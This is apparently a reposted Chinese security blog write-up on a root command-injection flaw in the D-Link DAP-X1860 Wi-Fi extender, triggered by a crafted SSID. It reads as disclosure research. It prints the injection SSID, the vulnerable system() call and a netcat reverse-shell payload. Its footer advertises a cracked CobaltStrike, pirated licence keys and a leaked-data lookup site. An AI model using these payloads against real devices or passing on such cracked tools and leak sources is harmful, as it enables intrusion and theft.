我们的一位渗透测试人员最近获得了一台新的 D-Link DAP-X1860
信号扩展器,但他们无法完成设置。这是因为邻居的 Wi-Fi
名称中包含一个单引号(如"Olaf's WiFi")
在设置范围扩展器的过程中,会使用 SOAP
操作 "GetSiteSurvey"
来识别附近的 Wi-Fi
网络。如果在扩展器的范围内有一个 SSID
中含有单引号的 Wi-Fi
网络,那么设置过程将会反复崩溃,服务器会返回以下响应:
输出 sh: 7: not found
表明扩展器试图执行某个命令,并且原本在 Wi-Fi
网络 Olaf
的网络中存在的单引号在输出中缺失。另外,第六行与其他行相比并没有相同的空格对齐
这本身就可以被利用为拒绝服务漏洞,因为无法完成设置过程。然而,也可以在扩展器上执行任意命令
例如,试图注入命令 uname -a
,这个命令列出了一般的内核信息。为了做到这一点,创建了一个范围内的 Wi-Fi
网络,其 SSID
以一个单引号开始,并由逻辑 shell
运算符 "&&"
分隔命令,例如 Test' && uname -a &&
在信号扩展器上重新扫描 Wi-Fi
网络后,这将导致一个 HTTP 500
错误代码,包括注入命令的输出:
可以看到,命令已经执行,其输出已经在响应中打印出来。对设备的进一步分析发现,设备上的所有进程,包括注入的命令,都以高权限的 root
用户运行。
漏洞来源于 libcgifunc.so
中的 parsing_xml_stasurvey
函数,其中,scanned_ap_info
被使用 echo
写入到一个临时文件中,该命令包含了 Wi-Fi
扫描结果中的 SSID
,但没有进行适当的转义:
snprintf(acStack_1a0,100,"echo %s > /tmp/Channel_check",&scanned_ap_info);
system(acStack_1a0);
尝试使用 '& nc notebook 1337 -e /bin/sh &
可以启动一个反向 shell
关注公众号后台回复 0001
领取域渗透思维导图,0002
领取VMware 17永久激活码,0003
获取SGK地址,0004
获取在线ChatGPT地址,0005
获取 Windows10渗透集成环境,0006
获取 CobaltStrike 4.8破解版
加我微信好友,邀请你进交流群
往期推荐
国产之光IDE,自带国产特色VIP功能!
JeecgBoot SSTI以及JDBC RCE 复现
善攻者,动于九天之上。善守者,藏于九地之下!
聊聊PE文件免杀
某CDN疑似被投毒!
微信小程序Mac版抓包
RdViewer远控隐蔽利用及钓鱼攻击
Threadless Inject - 一种新颖的进程注入技术
红队标准手册
备用号,欢迎关注
原文始发于微信公众号(刨洞安全团队):D-Link DAP-X1860:远程命令注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论